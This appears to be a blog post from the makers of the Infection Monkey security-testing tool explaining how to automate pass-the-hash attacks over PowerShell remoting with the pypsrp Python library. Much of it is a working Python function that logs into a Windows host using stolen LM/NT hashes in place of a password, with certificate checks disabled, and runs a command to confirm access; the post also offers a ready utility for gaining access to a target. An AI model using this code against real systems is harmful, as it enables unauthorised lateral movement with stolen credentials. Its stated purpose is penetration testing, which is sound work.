Automating Pass-the-Hash Attacks Against PowerShell Remoting

TLDR: You can take a look at the script in this repository for an example of how to execute pass-the-hash attacks over PowerShell remoting using Python.

In the upcoming release (v1.12.0) of Infection Monkey, we’re giving the Monkey the ability to propagate through a network via PowerShell remoting. Getting this to work with standard username and password credentials was fairly straightforward. In contrast, enabling propagation using a pass-the-hash attack was less trivial and takes advantage of undocumented functionality in some third-party libraries.

The best Python library I’ve been able to find for using PowerShell remoting is pypsrp. pypsrp allows you to interact with PowerShell remoting programmatically from both Windows and Linux, but it’s not obvious how to use pypsrp to execute a pass-the-hash attack. After spelunking through the code of pypsrp and pyspnego (a sub-dependency), I discovered the secret sauce. The code shown below is all you need to get started automating pass-the-hash attacks over PowerShell remoting in Python.

from pypsrp import Client
def connect(host, username, lm_hash, nt_hash, use_ssl=True, timeout=3):
    # The pypsrp library requires LM or NT hashes to be formatted like "LM_HASH:NT_HASH"
    #
    # Example:
    # If your LM hash is 1ec78eb5f6edd379351858c437fc3e4e and your NT hash is
    # 79a760336ad8c808fee32aa96985a305, then you would pass
    # "1ec78eb5f6edd379351858c437fc3e4e:79a760336ad8c808fee32aa96985a305" as the
    # `password` parameter to pypsrp.
    #
    # pypsrp will parse this string and automatically use the appropriate hash
    # for NTLM authentication.
    #
    # If you only have one of the two hashes, this script will automatically
    # populate the other hash with zeros.
    formatted_ntlm_hashes = f"{lm_hash}:{nt_hash}"


    client = Client(
        host,
        username=username,
        password=formatted_ntlm_hashes,
        cert_validation=False,
        ssl=use_ssl,
        auth="ntlm",
        encryption="auto",
        connection_timeout=timeout,
    )

    # Execute a command to validate that authentication was actually successful. This
    # will raise an exception if authentication failed.
    client.execute_cmd("dir")

    return client

I’ve created a short utility script that is intended to be an example you can use to write your own tools. It also provides some basic functionality, in the event that you just want to use it as is. If you have a target host, username, and hash, you can use this utility to try to gain access to the target (see disclaimer).